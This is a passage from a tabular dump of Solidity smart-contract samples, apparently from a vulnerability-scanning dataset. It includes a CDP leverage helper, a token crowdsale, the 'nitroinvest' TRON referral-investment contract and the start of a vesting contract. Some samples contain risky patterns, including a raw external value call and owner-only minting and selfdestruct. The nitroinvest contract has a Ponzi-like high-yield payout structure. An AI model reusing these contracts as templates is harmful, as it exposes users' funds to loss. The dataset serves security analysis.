uint256 _loanInAttoeth = _lockedInCdpInAttoeth.sub(_leverageSizeInAttoeth);
uint256 _feeInAttoeth = _loanInAttoeth.mul18(providerFeePerEth);
require(_feeInAttoeth <= _allowedFeeInAttoeth);
uint256 _drawInAttodai = _loanInAttoeth.mul18(uint256(maker.pip().read()));
uint256 _attopethLockedInCdp = _lockedInCdpInAttoeth.div27(maker.per());
// Convert ETH to WETH (only the value amount, excludes loan amount which is already WETH)
weth.deposit.value(_leverageSizeInAttoeth)();
// Open CDP
_cdpId = maker.open();
// Convert WETH into PETH
maker.join(_attopethLockedInCdp);
// Store PETH in CDP
maker.lock(_cdpId, _attopethLockedInCdp);
// Withdraw DAI from CDP
maker.draw(_cdpId, _drawInAttodai);
// Sell DAI for WETH
sellDai(_drawInAttodai, _lockedInCdpInAttoeth, _feeInAttoeth, _loanInAttoeth);
// Pay provider fee
if (_feeInAttoeth != 0) {
// Fee charged is constant. If affiliate provided, split fee with affiliate
if (_affiliateAddress == 0x0) {
asyncSend(owner, _feeInAttoeth);
} else {
asyncSend(owner, _feeInAttoeth.div(2));
asyncSend(_affiliateAddress, _feeInAttoeth.div(2));
}
}
emit NewCup(msg.sender, _cdpId);
giveCdpToProxy(msg.sender, _cdpId);
}
function giveCdpToProxy(address _ownerOfProxy, bytes32 _cdpId) private {
DSProxy _proxy = proxyRegistry.proxies(_ownerOfProxy);
if (_proxy == DSProxy(0) || _proxy.owner() != _ownerOfProxy) {
_proxy = proxyRegistry.build(_ownerOfProxy);
}
// Send the CDP to the owner's proxy instead of directly to owner
maker.give(_cdpId, proxyRegistry);
}
// extracted function to mitigate stack depth issues
function sellDai(uint256 _drawInAttodai, uint256 _lockedInCdpInAttoeth, uint256 _feeInAttoeth, uint256 _loanInAttoeth) private {
uint256 _wethBoughtInAttoweth = oasis.sellAllAmount(dai, _drawInAttodai, weth, 0);
// SafeMath failure below catches not enough eth provided
uint256 _refundDue = msg.value.add(_wethBoughtInAttoweth).sub(_lockedInCdpInAttoeth).sub(_feeInAttoeth);
if (_refundDue > 0) {
require(msg.sender.call.value(_refundDue)());
}
if (_loanInAttoeth > _wethBoughtInAttoweth) {
weth.deposit.value(_loanInAttoeth - _wethBoughtInAttoweth)();
}
}
}
| 147,100 | 13,662 |
8bb610315594106139df48ab93123efe6106abd822508b8d63b28225010cc0c7
| 16,646 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x9746953f5b1324a78132895cfd263f417b0faae3.sol
| 3,033 | 10,814 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract VCBToken is CappedToken, BurnableToken, DetailedERC20 {
using SafeMath for uint256;
uint8 constant DECIMALS = 18;
uint constant TOTALTOKEN = 1 * 10 ** (9 + uint(DECIMALS));
string constant NAME = "ValueCyberToken";
string constant SYM = "VCT";
address constant PRESALE = 0x638a3C7dF9D1B3A56E19B92bE07eCC84b6475BD6;
uint constant PRESALETOKEN = 7 * 10 ** (8 + uint(DECIMALS));
function VCBToken() CappedToken(TOTALTOKEN) DetailedERC20 (NAME, SYM, DECIMALS) public {
balances[PRESALE] = PRESALETOKEN;
totalSupply = totalSupply.add(PRESALETOKEN);
}
}
contract VCBCrowdSale is Crowdsale, Ownable {
using SafeMath for uint256;
uint constant RATIO = 9000;
uint16 constant RATIODENO = 10000;
uint constant SALELASTFOR = 31 days;
address constant FUNDWALLET = 0x622969e0928fa6bEeda9f26F8a60D0b22Db7E6f1;
mapping(address => uint16) giftList;
event CrowdsaleFinalized();
event TokenGift(address indexed beneficiary, uint256 amount);
function VCBCrowdSale(uint256 start) Crowdsale(start, start + SALELASTFOR, RATIO, FUNDWALLET) public {
}
function createTokenContract() internal returns (MintableToken) {
return new VCBToken();
}
//our crowdsale can stop at anytime, and then the totally crowsale contract is disappear
function finalize(address _finaladdr) onlyOwner public {
token.finishMinting();
CrowdsaleFinalized();
address finaladdr = FUNDWALLET;
if (_finaladdr != address(0)) {
finaladdr = _finaladdr;
}
selfdestruct(finaladdr);
}
function giftTokens(address beneficiary) internal {
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 gifttokens = weiAmount.mul(giftList[beneficiary]).mul(rate).div(RATIODENO);
if (gifttokens > 0) {
//if gift token can't be sent, contract still fails
token.mint(beneficiary, gifttokens);
TokenGift(beneficiary, gifttokens);
}
}
// override token purchase to send additional token for registered address
function buyTokens(address beneficiary) public payable {
super.buyTokens(beneficiary);
//if address is in discount list, we gift it more tokens according to the ratio (in percentage)
giftTokens(beneficiary);
}
function addGift(address beneficiary, uint16 giftratio) onlyOwner public {
require(giftratio < RATIODENO);
giftList[beneficiary] = giftratio;
}
function giftRatioOf(address _owner) public view returns (uint16 ratio) {
return giftList[_owner];
}
// directly mint tokens
function preserveTokens(address preservecontract, uint256 amount) onlyOwner public {
token.mint(preservecontract, amount);
}
}
| 203,937 | 13,663 |
fc38f5c91a3bc675824309fe34df4f6a3419672ebc0f8fbf4c0f787cc4eeb444
| 16,356 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TY/TYnrre7bVvxsX1V4YXLa4wmnA8mxT5n5ue_nitroinvest.sol
| 3,706 | 13,490 |
//SourceUnit: nitroinvest trx.sol
pragma solidity ^0.5.8;
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
contract nitroinvest {
using SafeMath for uint;
uint256 constant public DEPOSITS_MAX = 100;
uint256 constant public DEPOSITS_MIN = 100000000;
uint256 constant public BASE_PERCENT = 200;
uint256[] public REFERRAL_PERCENTS = [500, 200, 100, 50, 50];
uint256 constant public MARKETING_FEE = 500;
uint256 constant public ADMIN_FEE = 500;
uint256 constant public MAX_CONTRACT_PERCENT = 500;
uint256 constant public MAX_HOLD_PERCENT = 1000;
uint256 constant public PERCENTS_DIVIDER = 10000;
uint256 constant public CONTRACT_BALANCE_STEP = 500000 * (10 ** 6);
uint256 constant public TIME_STEP = 1 days;
uint256 public totalDeposits;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public contractPercent;
address payable public marketingAddress;
address payable public adminAddress;
struct Deposit {
uint128 amount;
uint128 withdrawn;
uint128 refback;
uint32 start;
}
struct User {
Deposit[] deposits;
uint32 checkpoint;
address payable referrer;
uint16 rbackPercent;
uint128 bonus;
uint24[5] refs;
}
mapping (address => User) internal users;
event Newbie(address user);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event RefBack(address indexed referrer, address indexed referral, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable marketingAddr,address payable adminAddr) public {
require(!isContract(marketingAddr));
require(!isContract(adminAddr));
marketingAddress = marketingAddr;
adminAddress=adminAddr;
contractPercent = getContractBalanceRate();
}
function invest(address payable referrer) public payable {
require(!isContract(msg.sender) && msg.sender == tx.origin);
User storage user = users[msg.sender];
require(user.deposits.length < DEPOSITS_MAX, "Maximum 100 deposits from address");
require(msg.value >= DEPOSITS_MIN, "Minimum 100 TRX");
uint256 marketingFee = msg.value.mul(MARKETING_FEE).div(PERCENTS_DIVIDER);
uint256 adminFee = msg.value.mul(ADMIN_FEE).div(PERCENTS_DIVIDER);
marketingAddress.transfer(marketingFee);
adminAddress.transfer(adminFee);
emit FeePayed(msg.sender, marketingFee.add(adminFee));
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
uint256 refbackAmount;
if (user.referrer != address(0)) {
address payable upline = user.referrer;
for (uint256 i = 0; i < 5; i++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
if (i == 0 && users[upline].rbackPercent > 0) {
refbackAmount = amount.mul(uint(users[upline].rbackPercent)).div(PERCENTS_DIVIDER);
msg.sender.transfer(refbackAmount);
emit RefBack(upline, msg.sender, refbackAmount);
amount = amount.sub(refbackAmount);
}
if (amount > 0) {
upline.transfer(amount);
users[upline].bonus = uint128(uint(users[upline].bonus).add(amount));
emit RefBonus(upline, msg.sender, i, amount);
}
users[upline].refs[i]++;
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = uint32(block.timestamp);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(uint128(msg.value), 0, uint128(refbackAmount), uint32(block.timestamp)));
totalInvested = totalInvested.add(msg.value);
totalDeposits++;
if (contractPercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
uint256 contractPercentNew = getContractBalanceRate();
if (contractPercentNew > contractPercent) {
contractPercent = contractPercentNew;
}
}
emit NewDeposit(msg.sender, msg.value);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 userPercentRate = getUserPercentRate(msg.sender);
uint256 totalAmount;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
user.deposits[i].withdrawn = uint128(uint(user.deposits[i].withdrawn).add(dividends)); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = uint32(block.timestamp);
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function setRefback(uint16 rbackPercent) public {
require(rbackPercent <= 10000);
User storage user = users[msg.sender];
if (user.deposits.length > 0) {
user.rbackPercent = rbackPercent;
}
}
function getContractBalance() public view returns (uint) {
return address(this).balance;
}
function getContractBalanceRate() internal view returns (uint) {
uint256 contractBalance = address(this).balance;
uint256 contractBalancePercent = BASE_PERCENT.add(contractBalance.div(CONTRACT_BALANCE_STEP).mul(5));
if (contractBalancePercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
return contractBalancePercent;
} else {
return BASE_PERCENT.add(MAX_CONTRACT_PERCENT);
}
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
if (isActive(userAddress)) {
uint256 timeMultiplier = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP.div(2)).mul(5);
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return contractPercent.add(timeMultiplier);
} else {
return contractPercent;
}
}
function getUserAvailable(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint256 userPercentRate = getUserPercentRate(userAddress);
uint256 totalDividends;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
return (user.deposits.length > 0) && uint(user.deposits[user.deposits.length-1].withdrawn) < uint(user.deposits[user.deposits.length-1].amount).mul(2);
}
function getUserAmountOfDeposits(address userAddress) public view returns (uint) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].amount));
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint256 amount = user.bonus;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].withdrawn)).add(uint(user.deposits[i].refback));
}
return amount;
}
function getUserDeposits(address userAddress, uint256 last, uint256 first) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory) {
User storage user = users[userAddress];
uint256 count = first.sub(last);
if (count > user.deposits.length) {
count = user.deposits.length;
}
uint256[] memory amount = new uint256[](count);
uint256[] memory withdrawn = new uint256[](count);
uint256[] memory refback = new uint256[](count);
uint256[] memory start = new uint256[](count);
uint256 index = 0;
for (uint256 i = first; i > last; i--) {
amount[index] = uint(user.deposits[i-1].amount);
withdrawn[index] = uint(user.deposits[i-1].withdrawn);
refback[index] = uint(user.deposits[i-1].refback);
start[index] = uint(user.deposits[i-1].start);
index++;
}
return (amount, withdrawn, refback, start);
}
function getSiteStats() public view returns (uint, uint, uint, uint) {
return (totalInvested, totalDeposits, getContractBalance(), contractPercent);
}
function getUserStats(address userAddress) public view returns (uint, uint, uint, uint, uint) {
uint256 userPerc = getUserPercentRate(userAddress);
uint256 userAvailable = getUserAvailable(userAddress);
uint256 userDepsTotal = getUserTotalDeposits(userAddress);
uint256 userDeposits = getUserAmountOfDeposits(userAddress);
uint256 userWithdrawn = getUserTotalWithdrawn(userAddress);
return (userPerc, userAvailable, userDepsTotal, userDeposits, userWithdrawn);
}
function getUserReferralsStats(address userAddress) public view returns (address, uint16, uint16, uint128, uint24[5] memory) {
User storage user = users[userAddress];
return (user.referrer, user.rbackPercent, users[user.referrer].rbackPercent, user.bonus, user.refs);
}
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 301,875 | 13,664 |
0063ffa953da667101b816ec13469f2da2369a0bda68aea71df7117c9615b645
| 34,900 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/0e/0e68c3b8bb3a052478a9e68585858cbd492505af_SeedDistribution.sol
| 4,517 | 18,343 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
contract SeedDistribution is Ownable, ReentrancyGuard {
using SafeMath for uint;
using SafeMath for uint32;
using SafeMath for uint256;
using SafeERC20 for IERC20;
event RewardClaimed(address indexed user, uint256 amount);
address public immutable HeC;
uint256 public immutable vestingTimeUnitSeconds;
uint256 public totalDebt;
mapping(address => uint) public walletIndices;
struct WalletInfo {
address recipient;
uint256 unlockedBalance;
uint256 lockedBalance;
uint256 totalAllocation;
uint256 releaseAmountPerVestingTimeUnit;
uint256 claimableEpochTime;
}
WalletInfo[] public wallets;
constructor(address _hec, uint256 _vestingTimeUnitSeconds) {
